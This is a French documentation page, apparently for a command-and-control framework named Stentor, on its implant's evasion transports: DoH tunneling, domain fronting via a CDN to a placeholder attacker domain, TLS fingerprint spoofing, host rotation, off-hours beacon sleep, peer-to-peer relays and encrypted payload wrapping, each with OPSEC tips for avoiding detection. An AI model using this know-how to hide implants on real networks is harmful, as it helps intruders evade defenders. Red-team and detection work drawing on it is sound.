Aller au contenu

Fonctionnalités de transport avancées

Au-delà des principaux types d'listeners (HTTP/S, DNS, SMB, QUIC, TCP Bind), l'implant de Stentor comprend une suite de fonctionnalités de transport avancées pour l'évasion, la résilience et la flexibilité. Ces fonctionnalités fonctionnent comme des couches autour ou à côté du transport principal : elles peuvent être combinées pour créer des canaux de communication C2 hautement personnalisés.

Superposition de transport

La plupart de ces fonctionnalités sont composables. Par exemple, vous pouvez utiliser empreinte digitale uTLS + fronting de domaine + transport rotatif + veille adaptative ensemble pour un canal C2 hautement résilient et furtif.


DNS sur HTTPS (DoH)

DNS sur HTTPS encapsule les requêtes DNS C2 dans les requêtes HTTPS standard adressées aux résolveurs DoH publics (Cloudflare, Google, etc.). Cela contourne la surveillance DNS traditionnelle qui inspecte le trafic brut du port UDP/TCP 53, puisque les requêtes DNS transitent par des connexions HTTPS cryptées vers des points de terminaison bien connus et fiables.

Prise en charge de la plateforme

Le transport DoH est actuellement Windows uniquement. Les versions non Windows incluent un stub qui renvoie une erreur. En effet, la cible principale du déploiement sont les points de terminaison Windows dans les environnements d'entreprise où la surveillance DNS est répandue.

Comment ça marche

sequenceDiagram
    participant Implant as Implant (Windows)
    participant DoH as DoH Resolver (e.g., Cloudflare)
    participant DNS as C2 DNS Server
    participant Backend as Backend API

    Note over Implant: Encode C2 data as DNS subdomain labels
    Implant->>DoH: HTTPS POST /dns-query (RFC 8484)
    DoH->>DNS: Standard DNS query to C2 domain
    DNS->>Backend: Forward beacon data
    Backend-->>DNS: Task data in DNS response
    DNS-->>DoH: DNS response (A/AAAA/TXT records)
    DoH-->>Implant: HTTPS response with DNS answer
    Note over Implant: Decode task from DNS records

L'implant construit des requêtes DNS au format filaire (RFC 1035), les enveloppe dans des requêtes HTTPS conformément à la RFC 8484 et les envoie aux résolveurs DoH publics. Le serveur C2 reçoit les requêtes via son serveur DNS faisant autorité et code les réponses dans les enregistrements DNS.

Canaux de données

DoH prend en charge trois modes d'enregistrement DNS pour la récupération des tâches, sélectionnables au moment de l'exécution :

Mode Type d'enregistrement Octets par réponse Idéal pour
dns Un (IPv4) 4 octets Données minimales, profil bas
dns6 AAAA (IPv6) 16 octets Débit modéré
dns-txt TXT ~255 octets Débit le plus élevé (par défaut)

Le mode peut être modifié au moment de l'exécution via SetMode(), permettant à l'opérateur de changer de canal de données sans redéployer l'implant.

Configuration

Champ Type Par défaut Description
Servers []string -- Noms d'hôte du résolveur DoH (par exemple, cloudflare-dns.com, dns.google)
Verb string POST Méthode HTTP – GET ou POST
UserAgent string -- En-tête User-Agent personnalisé
Proxy string -- URL du proxy HTTPS pour les requêtes DoH sortantes
Headers map[string]string -- En-têtes HTTP supplémentaires sur les requêtes DoH
Domain string -- Domaine C2 pour les requêtes DNS
Accept string application/dns-message Accepter la valeur de l'en-tête

Les préfixes de sous-hôte pour différents types de requêtes sont configurables :

Sous-hôte Par défaut Objectif
A record cdn Récupération de tâches via les enregistrements A
Enregistrement AAAA www6 Récupération de tâches via les enregistrements AAAA
Enregistrement TXT api Récupération de tâches via les enregistrements TXT (mode par défaut)

Méthodes de demande du DoH

Méthode POST (par défaut, selon la spécification Cobalt Strike) : envoie la requête au format filaire DNS comme corps de la requête avec Content-Type: application/dns-message.

Méthode GET : Base64url encode la requête DNS (pas de remplissage, selon RFC 8484) et la place dans le paramètre de requête dns :

GET /dns-query?dns=AAABAAABAAA... HTTP/1.1
Host: cloudflare-dns.com
Accept: application/dns-message

Sélection de serveur à tour de rôle

Lorsque plusieurs serveurs DoH sont configurés, le transport utilise une sélection circulaire entre les requêtes. Cela répartit le trafic entre plusieurs résolveurs pour éviter la limitation du débit et réduire le risque qu'un seul résolveur soit signalé.

Considérations OPSEC

OPSEC

  • Le trafic DoH vers Cloudflare/Google est attendu sur la plupart des réseaux d'entreprise : il se mélange au trafic DNS crypté légitime.
  • Configurez un UserAgent personnalisé pour correspondre au navigateur qui ferait normalement des requêtes DoH
  • Utilisez la méthode POST (par défaut) car elle n'expose pas les données de requête dans l'URL
  • Le domaine C2 apparaît uniquement au format filaire DNS à l'intérieur de le payload HTTPS chiffrée - non visible pour les moniteurs réseau surveillant la connexion HTTPS.
  • Les résolveurs DoH enregistrent les requêtes ; utiliser plusieurs résolveurs avec tourniquet pour distribuer l'empreinte
  • L'exfiltration de données volumineuses via DNS (même via HTTPS) est lente ; utilisez DoH principalement pour les canaux de commande et passez à HTTP/S pour le transfert de données en masse

Domain fronting

Le domain fronting achemine le trafic C2 via les réseaux de diffusion de contenu (CDN) en exploitant la différence entre le nom d'hôte TLS SNI et l'en-tête de l'hôte HTTP. Les moniteurs réseau voient une connexion à un domaine CDN légitime, tandis que le CDN achemine la demande vers le serveur C2 réel en fonction de l'en-tête Host.

Comment ça marche

sequenceDiagram
    participant Implant as Implant
    participant CDN as CDN Edge (e.g., CloudFront)
    participant C2 as C2 Server

    Note over Implant: TLS SNI = d111111abcdef8.cloudfront.net
    Note over Implant: HTTP Host = c2.attacker.com
    Implant->>CDN: HTTPS connection (SNI: cloudfront.net)
    Note over CDN: Routes based on Host header
    CDN->>C2: Forward request to c2.attacker.com
    C2-->>CDN: C2 response
    CDN-->>Implant: HTTPS response
    Note over Implant: Network monitor sees: cloudfront.net

Le FrontedClient crée des URL ciblant le domaine frontal (https://d111111abcdef8.cloudfront.net/api/v1/c2/beacon) mais définit httpReq.Host = c2.attacker.com pour qu'il achemine via le CDN vers le véritable backend C2.

Configuration

Paramètre Description Exemple
frontDomain Domaine CDN pour TLS SNI d111111abcdef8.cloudfront.net
realDomain Domaine C2 réel (en-tête d'hôte HTTP) c2.attacker.com
c2Path Préfixe du chemin de l'API /api/v1/c2
userAgent Chaîne d'agent utilisateur HTTP Mozilla/5.0 ...
timeout Expiration du délai de requête HTTP 30s
tlsFingerprint Empreinte digitale du navigateur uTLS (facultatif) chrome_auto

Prise en charge des proxys

La domain fronting prend en charge la configuration de proxy facultative via NewFrontedClientWithProxy(). Lorsqu'aucun proxy explicite n'est configuré, le transport revient automatiquement à la détection du proxy IE/système sous Windows (voir Détection du proxy IE ci-dessous).

Intégration avec uTLS

Le fronting de domaine utilise newUTLSFrontedTransport() qui définit le SNI TLS sur le domaine frontal (et non sur la cible de la connexion). Lorsqu'un tlsFingerprint est spécifié, la négociation TLS utilise un ClientHello correspondant au navigateur tout en gardant le SNI pointé vers le domaine CDN.

Considérations OPSEC

OPSEC

  • Le fournisseur CDN est important : AWS CloudFront, Azure CDN et Fastly ont été utilisés pour le fronting. Certains fournisseurs bloquent désormais activement le domain fronting (Google, AWS dans certaines configurations).
  • Le domaine frontal doit être un domaine à fort trafic et de haute réputation qui n'éveillera pas de suspicion dans les journaux réseau.
  • Utilisez un tlsFingerprint (par exemple, chrome_auto) pour éviter la prise d'empreinte digitale de prise de contact TLS en tant que bibliothèque crypto/tls de Go.
  • Les en-têtes par défaut de Go (User-Agent: Go-http-client/1.1, Accept-Encoding: gzip) sont supprimés via suppressGoDefaults().
  • Si le CDN effectue une inspection TLS et valide que SNI correspond à l'en-tête Host, le fronting échouera : testez votre configuration CDN.

Empreinte digitale uTLS

La bibliothèque standard crypto/tls de Go produit une empreinte digitale TLS ClientHello distinctive (JA3/JA4) que les outils de sécurité réseau peuvent identifier comme trafic non-navigateur. uTLS remplace la poignée de main TLS par des empreintes digitales correspondant au navigateur à l'aide de la bibliothèque refraction-networking/utls, faisant apparaître les connexions C2 comme un trafic normal du navigateur.

Comment ça marche

Au lieu du crypto/tls.Dial de Go, le transport utilise utls.UClient avec un ClientHelloID prédéfini qui reproduit les extensions TLS exactes, les suites de chiffrement et les paramètres de prise de contact d'une version spécifique du navigateur.

Profils d'empreintes digitales pris en charge

Chaîne de profil Navigateur Remarques
chrome_auto Chrome (dernier) Repli par défaut pour les valeurs non reconnues
chrome_120 Chrome 120 Pin version spécifique
chrome_131 Chrome 131 Pin version spécifique
chrome_133 Chrome 133 Pin version spécifique
firefox_auto Firefox (dernier) Empreinte digitale mise à jour automatiquement
firefox_120 Firefox 120 Pin version spécifique
edge_auto Edge (dernier) Empreinte digitale mise à jour automatiquement
edge_85 Edge 85 Version héritée
edge_106 Edge 106 Pin version spécifique
safari_auto Safari (dernier) Empreinte digitale mise à jour automatiquement
safari_16 Safari 16.0 macOS/iOS
ios_14 iOS 14Safari Empreinte digitale mobile
random / randomized Navigateur aléatoire Randomisé par connexion

Sélection de profil

Utilisez chrome_auto ou firefox_auto pour la plupart des engagements : ils se mettent automatiquement à jour pour correspondre à la dernière version du navigateur. Épinglez sur une version spécifique (par exemple, chrome_131) uniquement lorsque vous avez besoin d'empreintes digitales reproductibles pour les tests ou lorsque l'environnement cible dispose d'une version de navigateur connue.

Variantes de transport

uTLS est intégré dans trois constructeurs de transport :

Constructeur Cas d'utilisation
newUTLSTransport(fingerprint, insecureSkipVerify) Transport HTTPS standard
newUTLSTransportWithProxy(fingerprint, insecureSkipVerify, proxyURL) HTTPS via proxy
newUTLSFrontedTransport(fingerprint, frontDomain, insecureSkipVerify) Domain fronting (SNI = front domain)

Lorsque fingerprint est vide, tous les constructeurs reviennent au standard Go crypto/tls (pas d'uTLS). L'indicateur DisableCompression: true est toujours défini pour empêcher Go d'injecter Accept-Encoding: gzip qui prendrait l'empreinte du client.

Considérations OPSEC

OPSEC

  • uTLS n'usurpe pas les empreintes digitales HTTP/2 TLS -- http2.Transport utilise sa propre configuration TLS. Utilisez le transport profilé HTTP/2 pour les connexions HTTP/2.
  • Le profil random/randomized génère une empreinte digitale différente par connexion, qui peut être un vecteur de détection si un analyste corrèle plusieurs empreintes digitales uniques provenant de la même source.
  • Faites correspondre l'empreinte digitale à l'en-tête User-Agent de votre profil malléable : un Chrome JA3 avec un agent utilisateur Firefox est suspect.
  • uTLS prend en charge le tunneling proxy : http.Transport de Go gère HTTP CONNECT avant DialTLSContext, aucun code proxy personnalisé n'est donc nécessaire.

Transport rotatif/de repli

Le RotatingTransport encapsule plusieurs instances de transport et gère la sélection des hôtes via des stratégies configurables. Il offre une résilience multi-hôtes, un basculement automatique et une stratégie de sortie lorsque tous les serveurs C2 sont inaccessibles.

Stratégies de rotation

Stratégie Formater Description
Robin à la ronde round-robin Parcourez les hôtes de manière séquentielle à chaque demande
Aléatoire random Choisissez un hôte disponible au hasard par demande
Basculement (nombre) failover-N Restez sur l'hôte actuel jusqu'à N échecs consécutifs, puis changez
Basculement (durée) failover-30m Variante de basculement prenant en compte la durée
Rotation (temps) rotate-30m Basculez vers l'hôte suivant toutes les 30 minutes, quels que soient les échecs

Suffixes de durée : s (secondes), m (minutes), h (heures), d (jours).

"round-robin"   -- Cycle through all hosts
"random"        -- Random selection
"failover-5"    -- Switch after 5 failures
"rotate-2h"     -- Switch every 2 hours
"rotate-7d"     -- Switch every 7 days

Stratégie de tentative/sortie maximale

Le MaxRetryConfig définit ce qui se passe lorsque tous les hôtes sont inaccessibles :

Format: exit-[max]-[increase]-[duration]

exit-96-48-5m
  |    |   |
  |    |   +-- Escalate sleep interval to 5 minutes
  |    +------ Escalate at 48 consecutive failures
  +----------- Exit implant after 96 consecutive failures
Paramètre Description
max Total des échecs consécutifs avant la sortie de l'implant
increase Nombre d'échecs auquel le sommeil est intensifié
duration Intervalle de sommeil accru (5m, 1h, 7d)

En cas de succès après l'escalade, l'intervalle de veille est automatiquement restauré à sa valeur d'origine.

Mutation de l'hôte (exécution)

Les hôtes peuvent être ajoutés, supprimés, conservés ou réinitialisés au moment de l'exécution via la session de l'opérateur :

Méthode Description Limite
AddHost(url) Ajouter un nouvel hôte C2 à la rotation Max 32 hôtes
RemoveHost(url) Supprimer un hôte (impossible de supprimer le dernier) Minimum 1 hôte
SetHeld(url) Suspendre temporairement un hôte --
ReleaseHeld(url) Réactiver un hôte suspendu --
ResetHosts() Restaurer la configuration d'origine de l'hôte --

Récupération de l'hôte en attente

Lorsque tous les hôtes sont marqués comme « en attente » (temporairement indisponibles en raison de pannes), le transport libère automatiquement tous les hôtes et réessaye. Cela évite un état de blocage dans lequel aucun hôte n'est disponible.

Rappel de basculement

Enregistrez un rappel pour être averti lorsque l'hôte actif change :

rt.SetFailoverCallback(func(fromIndex, toIndex int) {
    log.Printf("Failover: host %d -> host %d", fromIndex, toIndex)
})

Considérations OPSEC

OPSEC

  • Utilisez failover-5 pour un C2 stable avec récupération automatique : l'implant reste sur l'hôte principal et ne bascule que lorsqu'il est réellement indisponible.
  • rotate-2h parcourt les hôtes selon un planning, distribuant le trafic sur plusieurs serveurs C2 pour éviter qu'un serveur n'accumule des connexions excessives.
  • La stratégie de sortie (exit-96-48-5m) empêche un implant de s'afficher indéfiniment lorsque l'infrastructure C2 est en panne, réduisant ainsi la fenêtre de détection.
  • L'escalade du sommeil au seuil increase ralentit la fréquence du beacon lorsque la connectivité est dégradée, réduisant ainsi le bruit du réseau.
  • Utilisez la stratégie random lorsque plusieurs serveurs C2 sont frontés par différents CDN pour maximiser la résilience.

Sommeil adaptatif

Le AdaptiveTimer ajuste les intervalles de sommeil du beacon en fonction de l'heure et du jour de la semaine. En dehors des heures d'ouverture (nuit et week-end), l'intervalle de veille est multiplié par un facteur configurable, réduisant ainsi la fréquence des beacons lorsque le trafic utilisateur réel est faible et qu'une activité réseau anormale est plus susceptible d'être détectée.

Configuration

Champ Type Par défaut Description
WorkStart int 8 Heure (0-23) de début des heures d'ouverture
WorkEnd int 17 Heure (0-23) à laquelle les heures de travail se terminent
OffHoursMult float64 -- Multiplicateur de sommeil en dehors des heures d'ouverture (par exemple, 3.0)
Location string UTC Fuseau horaire IANA (par exemple, America/New_York)

Désactivé par défaut

NewAdaptiveTimer renvoie nil lorsque OffHoursMult <= 1.0, désactivant ainsi la fonctionnalité. La méthode AdjustedSleep est sans danger et renvoie baseSleep inchangé lorsque le timer est nul.

Calcul du sommeil

if (hour < WorkStart OR hour >= WorkEnd OR Saturday OR Sunday):
    sleep = baseSleep * OffHoursMult
else:
    sleep = baseSleep

Exemple avec WorkStart=8, WorkEnd=17, OffHoursMult=3.0, baseSleep=60s :

Temps Jour Sommeil ajusté
10:00 mardi 60s (heures de bureau)
22:00 mardi 180s (hors heures de bureau, 3x)
06:00 mercredi 180s (avant les heures de bureau, 3x)
14:00 samedi 180s (week-end, 3x)
14:00 lundi 60s (heures de bureau)

Considérations OPSEC

OPSEC

  • Définissez le fuseau horaire sur le fuseau horaire de la cible, et non sur celui de l'opérateur. Utilisez le format de base de données de fuseau horaire IANA (par exemple, America/Chicago).
  • Un multiplicateur 3x est un point de départ raisonnable : une base de 60 secondes devient 180 secondes en dehors des heures d'ouverture.
  • Sous Windows, si la base de données de fuseau horaire IANA n'est pas disponible, le minuteur revient à UTC. Cela peut entraîner des calculs incorrects en dehors des heures d'ouverture pour les cibles non UTC.
  • Le sommeil adaptatif rend le timing des beacons plus naturel : les défenseurs qui surveillent les beacons à intervalles réguliers verront des modèles différents pendant les heures de travail et en dehors des heures de travail.
  • Combinez-le avec la gigue (appliquée séparément au niveau du beacon) pour un obfuscation temporelle maximale.

TCP P2P (liaison peer-to-peer)

Le TCPPeerClient permet aux beacons parents de se connecter aux beacons enfants exécutées en mode de liaison TCP. Cela crée des chaînes de relais peer-to-peer pour atteindre des cibles qui n'ont pas d'accès au réseau sortant, en acheminant le trafic C2 via des beacons intermédiaires.

Comment ça marche

graph LR
    C2[C2 Server] <-->|HTTPS| Parent[Parent Beacon]
    Parent <-->|TCP P2P| Child[Child Beacon<br/>Bind Mode]
    Child <-->|TCP P2P| Grandchild[Grandchild Beacon<br/>Bind Mode]

    style C2 fill:#f96,stroke:#333
    style Parent fill:#6f9,stroke:#333
    style Child fill:#69f,stroke:#333
    style Grandchild fill:#69f,stroke:#333

Le beacon enfant écoute sur un port TCP (mode liaison). Le beacon parent s'y connecte en utilisant TCPPeerClient et relaie toutes les opérations C2 (enregistrement, récupération de tâches, soumission des résultats) via le protocole de message P2P.

Protocole de messages P2P

Toutes les communications utilisent des messages P2P structurés avec des codes de type :

Type de message Direction Objectif
MsgTypeCheckin Parent -> Enfant Enregistrement de beacon
MsgTypeCheckinResp Enfant -> Parent Réponse d'enregistrement avec ID de beacon
MsgTypeGetTask Parent -> Enfant Sondage pour les tâches en attente
MsgTypeTaskResp Enfant -> Parent Payload de la tâche ou réponse vide
MsgTypeSubmitResult Parent -> Enfant Résultats de l'exécution des tâches
MsgTypeResultAck Enfant -> Parent Accusé de réception (peut contenir une erreur)

Cycle de vie de la connexion

  1. Création : NewTCPPeerClient(host, port) -- ne se connecte pas immédiatement
  2. Premier enregistrement : La connexion est établie lors du premier appel Checkin()
  3. Opérations : GetTask() et SubmitResult() utilisent la connexion TCP établie
  4. Démontage : Close() met fin à la connexion P2P

Considérations OPSEC

OPSEC

  • Le trafic TCP P2P est non chiffré au niveau de la couche transport par défaut : il repose sur le cadrage des messages du protocole P2P, et non sur TLS. Utilisez-le uniquement dans les segments de réseau internes.
  • Le port de liaison sur le beacon enfant est un socket d'écoute qui peut être découvert par des analyses de port. Utilisez des ports non standard et limitez l'accès avec des pare-feu basés sur l'hôte.
  • Les chaînes P2P ajoutent de la latence à chaque interaction C2 : chaque saut ajoute un aller-retour.
  • Les beacons enfants relaient le trafic vers le serveur C2 via leur propre transport, de sorte que l'ensemble de la chaîne est aussi fiable que le maillon le plus faible.

Transport profilé HTTP/2

HTTP2ProfiledClient fournit une communication HTTP/2 C2 avec une prise en charge complète des profils malléables. Il applique les mêmes transformations d'URI, d'en-tête et de corps que le ProfiledClient standard mais force le transport HTTP/2 à l'aide de golang.org/x/net/http2.Transport avec la négociation ALPN h2.

Prise en charge de la plateforme

Le transport profilé HTTP/2 est disponible sous Windows et Linux (//go:build windows || linux).

HTTP/2 vs HTTP/1.1 profilés

Caractéristique ProfiledClient (HTTP/1.1) HTTP2ProfiledClient (HTTP/2)
Empreinte digitale TLS Usurpation du navigateur uTLS Allez crypto/tls (pas d'uTLS)
Protocole HTTP/1.1 HTTP/2 avec ALPN h2
Multiplexage Non Oui (flux simultanés)
Cadrage binaire Non Oui (ressemble à un navigateur moderne)
Compression d'en-tête Non Compression HPACK

Pourquoi pas d'uTLS pour HTTP/2 ?

uTLS ne prend pas en charge http2.Transport : ils utilisent des configurations TLS incompatibles. Le cadrage binaire de HTTP/2 et TLS 1.3 obligatoire avec ALPN h2 produisent déjà une empreinte de connexion d'aspect moderne, rendant uTLS moins critique.

Intégration de profils malléables

Le transport profilé HTTP/2 utilise la même structure de profil que HTTP/1.1 :

  • Checkin/GetTask : Utilise le bloc de profil http-get - transformations de métadonnées, sélection d'URI, types de terminaison (cookie, paramètre, en-tête, corps)
  • SubmitResult : Utilise le bloc de profil http-post - transformations de sortie, transformations d'ID, verbe HTTP configurable

Placement des données (types de résiliation) :

Résiliation Placement des données d'enregistrement Emplacement de l'ID d'interrogation de tâche
body Corps de la demande N/A (demande GET)
cookie Cookie: session=... Cookie: session=...
parameter Paramètre de requête ?data=... Paramètre de requête ?beacon_id=...
header en-tête X-Data: ... N/D

Considérations OPSEC

OPSEC

  • Les connexions HTTP/2 sont de plus en plus courantes : la plupart des sites Web modernes fonctionnent via HTTP/2, ce qui permet un mélange naturel du trafic.
  • La compression d'en-tête HPACK rend l'inspection des en-têtes plus difficile pour les moniteurs réseau.
  • L'absence d'uTLS signifie que l'empreinte digitale TLS sera l'empreinte digitale par défaut de Go, et non l'empreinte digitale du navigateur. Ceci est acceptable car HTTP/2 ALPN h2 est déjà un signal fort d'un client moderne.
  • Les en-têtes définis par le profil suppriment les valeurs par défaut de Go (User-Agent: Go-http-client, Accept-Encoding: gzip) via setOrderedHeaders().

Commande d'en-tête

Le système de gestion des en-têtes de Stentor supprime les en-têtes HTTP automatiquement injectés par Go et garantit que seuls les en-têtes définis par le profil apparaissent dans les requêtes. Cela évite les empreintes digitales triviales du client C2 en tant qu'application Go.

Problème : les en-têtes par défaut de Go

Le net/http de Go injecte automatiquement deux en-têtes qui identifient le client comme non-navigateur :

En-tête Passer par défaut Risque de détection
User-Agent Go-http-client/1.1 Drapeau rouge immédiat dans les journaux réseau
Accept-Encoding gzip Révèle la gestion de la compression d'exécution Go

Solution

Deux fonctions gèrent la gestion des en-têtes :

setOrderedHeaders() -- Pour les transports profilés (ProfiledClient, HTTP2ProfiledClient) :

  1. Efface tous les en-têtes existants de la requête
  2. Définit Accept-Encoding sur nil (supprime l'auto-injection de Go)
  3. Applique les en-têtes définis par le profil dans leur ordre déclaré
  4. Revient au profil UserAgent uniquement si aucun en-tête de profil ne définit User-Agent

suppressGoDefaults() -- Pour les transports non profilés (FrontedClient, EncryptedClient) :

  1. Remplace User-Agent par la valeur configurée
  2. Supprime l'auto-injection Accept-Encoding: gzip

Limitation des commandes de virements HTTP/1.1

Le net/http de Go trie par ordre alphabétique les clés d'en-tête lors de l'écriture de HTTP/1.1 sur le fil. La valeur principale de setOrderedHeaders est (a) de supprimer les valeurs par défaut injectées par Go et (b) de garantir que SEULS les en-têtes définis par le profil apparaissent. Un véritable contrôle des commandes filaires nécessiterait un RoundTripper personnalisé.

Considérations OPSEC

OPSEC

  • Configurez toujours un User-Agent réaliste dans votre profil malléable qui correspond à la population de navigateurs de l'environnement cible.
  • L'astuce Accept-Encoding: nil empêche Go d'ajouter gzip mais signifie également que le client n'annoncera pas la prise en charge de la compression - c'est normal pour certains clients API mais inhabituel pour les navigateurs.
  • HTTP/2 utilise la compression d'en-tête HPACK qui masque l'ordre des en-têtes individuels, ce qui rend cela moins critique pour les connexions HTTP/2.
  • Les outils de sécurité réseau qui signalent les chaînes Go-http-client User-Agent ne détecteront pas le trafic Stentor lorsque les en-têtes sont correctement configurés.

Détection du proxy IE (Windows)

Sur les cibles Windows, l'implant détecte automatiquement les paramètres de proxy système configurés via les options Internet (IE/WinHTTP). Cela permet au beacon d'acheminer via les serveurs proxy d'entreprise sans configuration manuelle.

Plateforme

Cette fonctionnalité est Windows uniquement. Il utilise l'API WinHttpGetIEProxyConfigForCurrentUser de winhttp.dll.

Comment ça marche

Lors de l'initialisation du transport, lorsqu'aucun proxy explicite n'est configuré, l'implant appelle l'API WinHTTP pour lire les paramètres de proxy IE de l'utilisateur actuel. Il s'agit du même mécanisme que celui utilisé par les navigateurs et les applications Windows pour la découverte de proxy.

Prise en charge des formats de proxy

Formater Exemple Manipulation
Procuration simple proxy.corp.com:8080 Utilisé directement, schéma http:// ajouté au début
Par protocole http=proxy1:80;https=proxy2:443 Entrée de proxy HTTP extraite
Pas de procuration -- Renvoie vide, aucun proxy utilisé

Pour les chaînes proxy par protocole, l'entrée http= est extraite. Si aucune entrée http= n’existe, la première entrée est utilisée comme solution de secours.

Intégration automatique

La détection du proxy IE est appelée automatiquement par plusieurs transports lorsqu'aucun proxy explicite n'est fourni :

  • NewFrontedClient() -- appelle applyIEProxyFallback(transport)
  • NewFrontedClientWithProxy() -- revient au proxy IE lorsque proxyURL est vide
  • newUTLSTransportWithProxy() -- revient au proxy IE lorsque proxyURL et fingerprint sont vides

Limites

Limitation Détail
Pas de prise en charge WPAD/PAC Seuls les paramètres de proxy manuels sont détectés ; la configuration automatique (WPAD/PAC) n'est pas prise en charge
Paramètres par utilisateur Lit la configuration du proxy de l'utilisateur actuel ; Les beacons de contexte SYSTEM peuvent avoir des paramètres différents
Pas de rafraîchissement automatique Les paramètres du proxy sont lus une fois lors de l'initialisation du transport ; les changements nécessitent un redémarrage du transport

Considérations OPSEC

OPSEC

  • L'utilisation du proxy système constitue un avantage OPSEC : il rend le trafic C2 impossible à distinguer du trafic d'application normal acheminé via le proxy d'entreprise.
  • Les beacons de contexte SYSTEM (provenant de services ou de tâches planifiées) peuvent ne pas avoir les mêmes paramètres de proxy que l'utilisateur interactif : testez les deux contextes.
  • L'appel API WinHTTP ne génère pas d'événements observables (pas de trafic réseau, pas d'entrées dans le journal des événements).
  • Si le proxy nécessite une authentification, http.Transport de Go gère automatiquement l'authentification du proxy NTLM/Négocier lors de son exécution dans le contexte de l'utilisateur.

Wrapper de transport chiffré

Le EncryptedClient ajoute une couche de cryptage AES-256-GCM au-dessus du transport HTTP. Toutes les payloads C2 (enregistrement, récupération des tâches, soumission des résultats) sont chiffrées de bout en bout entre l'implant et le serveur C2, indépendamment de TLS.

Pourquoi le double cryptage ?

Calque Protection contre
TLS (externe) Interception au niveau du réseau, MITM
AES-256-GCM (intérieur) Appareils d'inspection TLS, CDN MITM, proxys compromis

Même si un dispositif d'inspection SSL ou un CDN met fin et rechiffre TLS, la couche AES interne protège le payload C2 de l'inspection.

Flux d'échange de clés

sequenceDiagram
    participant Implant
    participant C2 as C2 Server

    Implant->>C2: GET /pubkey (fetch RSA public key)
    C2-->>Implant: RSA public key (PEM)
    Note over Implant: Generate AES-256 session key
    Implant->>C2: POST /keyx (RSA-encrypted session key)
    C2-->>Implant: Acknowledgment
    Note over Implant,C2: All subsequent traffic uses AES-256-GCM
    Implant->>C2: POST /beacon {encrypted checkin}
    C2-->>Implant: {encrypted response}
  1. L'implant récupère la clé publique RSA du serveur
  2. Implant génère une clé de session AES-256 et la chiffre avec la clé RSA du serveur
  3. Le serveur déchiffre la clé de session et la stocke pour la session du beacon
  4. Toutes les requêtes ultérieures utilisent le cryptage AES-256-GCM

Premier flux d'enregistrement

Le premier enregistrement utilise un flux spécial car le beacon n'a pas encore d'ID attribué :

  1. Générer un UUID temporaire comme identifiant de session
  2. Effectuer un échange de clé avec l'UUID temporaire
  3. Envoyer un enregistrement crypté (l'ID du beacon est nul dans le corps)
  4. Le serveur attribue un ID de beacon et migre la session de l'UUID temporaire vers l'ID de beacon réel
  5. Les requêtes suivantes utilisent l'ID de beacon attribué par le serveur.

Format de demande

Les requêtes chiffrées incluent des en-têtes d'identification :

En-tête Valeur Objectif
X-Encrypted 1 Signale au serveur que le payload est cryptée en AES
X-Beacon-ID Chaîne UUID Identifie la clé de session à utiliser pour le décryptage
Content-Type application/json Type de contenu JSON standard

La payload chiffrée est enveloppée dans une enveloppe JSON avec un encodage base64 :

{"data": "base64-encoded-AES-256-GCM-ciphertext"}

Récupération de session

Si le serveur redémarre et perd la clé de session (renvoie HTTP 401), le client automatiquement :

  1. Invalide la session locale (efface la clé de session et la clé publique mise en cache)
  2. Rétablit la session via l'échange de clés
  3. Réessaye la requête ayant échoué (une fois, pour éviter les boucles infinies)

Chemins de points de terminaison personnalisés

Pour OPSEC, les chemins des points de terminaison d'échange de clés peuvent être personnalisés via SetStagerPaths(pubkeyPath, keyxPath) pour correspondre aux chemins d'étape de profil malléables. Cela évite d'utiliser des chemins par défaut comme /pubkey et /keyx qui pourraient être signés.

Intégration avec uTLS

Le client chiffré prend en charge les empreintes digitales uTLS et la configuration du proxy :

  • NewEncryptedClient() -- utilise newUTLSTransport(fingerprint, insecureSkipVerify)
  • NewEncryptedClientWithProxy() -- utilise newUTLSTransportWithProxy(fingerprint, insecureSkipVerify, proxyURL)

Considérations OPSEC

OPSEC

  • Les en-têtes X-Encrypted: 1 et X-Beacon-ID sont des en-têtes personnalisés qui peuvent être signés. Envisagez de personnaliser les noms d'en-tête via un profil malléable si vous utilisez un transport chiffré dans des environnements sensibles.
  • L'échange de clés est une opération unique par session : il génère uniquement du trafic réseau lors de la configuration initiale et après le redémarrage du serveur.
  • Les points de terminaison de récupération de clé publique RSA (/pubkey) et d'échange de clés (/keyx) utilisent des chemins par défaut, sauf s'ils sont personnalisés via SetStagerPaths() -- modifiez-les en production.
  • AES-256-GCM fournit un cryptage authentifié, empêchant la falsification de le payload.
  • L'invalidation de session sur 401 garantit que l'implant récupère correctement après le redémarrage du serveur sans intervention de l'opérateur.

Comparaison des transports

Fonctionnalité de transport Furtif Débit Résilience Plateforme Complexité
DNS sur HTTPS Élevé Faible Moyen Windows Moyen
Domain fronting Très élevé Élevé Moyen Tout Faible
Empreinte digitale uTLS Élevé N/A (couche) N/D Tout Faible
Transport rotatif N/A (couche) N/D Très élevé Tout Moyen
Veille adaptative Élevé N/A (période) N/D Tout Faible
TCP P2P Faible Élevé Moyen Tout Faible
Profil HTTP/2 Élevé Élevé Moyen Win/Linux Moyen
Ordre d'en-tête Élevé N/A (couche) N/D Tout Faible
Détection du proxy IE Élevé N/A (couche) Élevé Windows Faible
Emballage crypté Moyen Élevé Moyen Tout Moyen

Voir aussi